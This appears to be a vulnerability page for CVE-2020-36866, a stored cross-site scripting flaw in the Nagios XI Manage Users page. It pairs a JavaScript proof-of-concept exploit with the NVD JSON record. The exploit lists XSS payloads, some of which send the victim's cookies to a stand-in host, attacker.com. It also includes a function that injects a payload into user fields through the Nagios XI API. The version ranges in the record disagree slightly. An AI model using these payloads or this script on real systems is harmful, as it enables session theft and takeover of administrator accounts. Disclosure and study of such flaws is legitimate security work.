CVE-2020-36866

// CVE-2020-36866 PoC - Nagios XI XSS via Manage Users // This PoC demonstrates the stored XSS vulnerability in Nagios XI Admin interface // Prerequisites: // 1. Valid low-privilege user account on Nagios XI // 2. Access to Admin -> Manage Users section // Step 1: Inject malicious JavaScript payload in user profile field // Payload can be injected in username, alias, or other profile fields // Example Payloads: const payloads = [ '<script>alert(document.cookie)</script>', '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">', '<svg/onload=fetch(\'https://attacker.com/steal?c=\'+btoa(document.cookie))>', '<iframe src="javascript:document.body.innerHTML=\'<img src=x>\'">' ]; // Step 2: Send the malicious request via API or web interface async function exploitNagiosXI(targetUrl, sessionCookie, payload) { const userId = 1001; // Target user ID to modify const exploitData = { // Inject payload in username or alias field 'username': payload, 'alias': 'Malicious User', 'email': '[email protected]', 'authorized_contact_group': [1] }; const response = await fetch(`${targetUrl}/nagiosxi/api/v1/objects/user/${userId}`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Cookie': `nagiosxi=${sessionCookie}` }, body: JSON.stringify(exploitData) }); return response.json(); } // Step 3: When admin visits Manage Users page, XSS will execute console.log('[+] Payload injected successfully'); console.log('[+] Wait for admin to visit Manage Users page'); console.log('[+] Cookie will be sent to attacker controlled endpoint');

{"cve": {"id": "CVE-2020-36866", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:39.563", "lastModified": "2025-11-06T20:15:36.333", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 5.7.3 are vulnerable to cross-site scripting (XSS) via the Manage Users page of the Admin interface. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.7.2", "matchCriteriaId": "CE3BA539-3665-4DF4-9F54-EF07E78BE025"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-xss-via-manage-users-in-admin-interface", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}